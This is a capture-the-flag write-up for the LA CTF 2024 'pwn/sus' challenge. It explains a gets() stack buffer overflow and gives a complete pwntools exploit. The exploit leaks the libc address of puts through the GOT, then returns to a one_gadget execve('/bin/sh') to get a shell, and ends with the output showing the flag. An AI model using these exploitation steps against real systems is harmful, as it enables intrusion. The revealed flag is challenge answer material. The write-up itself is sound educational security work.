u.twoha.cc/ctf/lactf/pwn_sus.md

151 lines
4.2 KiB
Markdown
Raw Permalink Normal View History

2024-09-13 03:24:53 -04:00
---
title: 'LA CTF 2024: pwn/sus'
date: 2024-02-21
tags: ['ctf', 'ctf-pwn']
---
## Task
> **pwn/sus**
>
> sus
>
> `nc chall.lac.tf 31284`
>
> [`Dockerfile`](https://chall-files.lac.tf/uploads/369b026196c1309b89ebc31c144b1bfc8ecbd68087b9a7b3063194052d72fa3c/Dockerfile) [`sus`](https://chall-files.lac.tf/uploads/ccb557649d2e9797ab84f9b3b09d2022e85dfeef539fb29250c48e60e2b46653/sus) [`sus.c`](https://chall-files.lac.tf/uploads/138c007539a2766597bcca846c09f53f25a6f2bb2c85ecc1442b0d4c21c46cba/sus.c)
- `Author: kaiphait`
- `Points: 426`
- `Solves: 136 / 1074 (12.663%)`
## Writeup
The challenge is a very short program that reads our input and returns:
```c
#include <stdio.h>
void sus(long s) {}
int main(void) {
setbuf(stdout, NULL);
long u = 69;
puts("sus?");
char buf[42];
gets(buf);
sus(u);
}
```
We see that the program uses `gets`, so we can perform a buffer overflow.
Running the program with `gdb`, we can see that `main`'s stack frame is as follows:
```
rbp - 0x40 | char buf[42]
...
rbp - 0x08 | long u
rbp | saved rbp
rbp + 0x08 | saved rip
```
To exploit the buffer overflow, we will overwrite the saved return address at `rbp + 0x08` to an address in `libc` that runs `/bin/sh`.
But first, we need to leak `libc`'s address. Since `u` is passed as an argument to `sus`, we can control the value of `rdi` when `main` returns, letting us control the first argument of the function we return to.
We can overwrite the saved `rip` to return to `puts` and overwrite `u` to the address of the GOT entry of `puts`. This will cause the program to print out the address of `puts` after we return. Then we can write the address of `main` to `rbp + 0x10` to rerun `main` after the call to `puts`, allowing us to send more input once we determine the address of `libc`.
So far, our script looks like this:
```py
from pwn import context, remote, ELF, flat, u64
context.arch = 'x86-64'
p = remote('chall.lac.tf', 31284)
e = ELF('/tmp/sus')
libc = ELF('/tmp/libc.so.6')
p.sendline(flat(
# padding (buf)
[0] * 7,
# overwrite u (for rdi)
e.got['puts'],
# padding (rbp)
0,
# overwrite rip
e.plt['puts'],
# return back to main after leaking address of puts
e.symbols['main']
))
p.recvuntil(b'sus?\n')
puts_addr = u64(p.recvuntil(b'\n')[:-1] + b'\x00\x00')
libc_addr = puts_addr - libc.symbols['puts']
```
Now that we know the address of `libc`, we can run `one_gadget` on the version of `libc` the program uses to find a good address to return to:
```console
$ one_gadget /tmp/libc.so.6
0x4c139 posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
constraints:
address rsp+0x60 is writable
rsp & 0xf == 0
rax == NULL || {"sh", rax, r12, NULL} is a valid argv
rbx == NULL || (u16)[rbx] == NULL
0x4c140 posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
constraints:
address rsp+0x60 is writable
rsp & 0xf == 0
rcx == NULL || {rcx, rax, r12, NULL} is a valid argv
rbx == NULL || (u16)[rbx] == NULL
0xd509f execve("/bin/sh", rbp-0x40, r13)
constraints:
address rbp-0x38 is writable
rdi == NULL || {"/bin/sh", rdi, NULL} is a valid argv
[r13] == NULL || r13 == NULL || r13 is a valid envp
```
The best option is the third one, since `r13` points to the original `envp` when we return from `main`, and we have control over the values of `rdi` and `rbp`.
To meet the first constraint, there is a writable section in `libc` that we can use for `rbp`, starting at offset `0x1d2000`. Now we can add the following to our script and get a shell:
```py
p.sendline(flat(
# padding (buf)
[0] * 7,
# overwrite u (for rdi)
0,
# overwrite rbp
libc_addr + 0x1d2000 + 10000,
# overwrite rip
libc_addr + 0xd509f
))
p.interactive()
```
Now we run the following commands and get the flag:
```console
$ python sus.py
[+] Opening connection to chall.lac.tf on port 31284: Done
[*] '/tmp/sus'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/tmp/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Switching to interactive mode
sus?
$ ls
flag.txt
run
$ cat flag.txt
lactf{amongsus_aek7d2hqhgj29v21}
```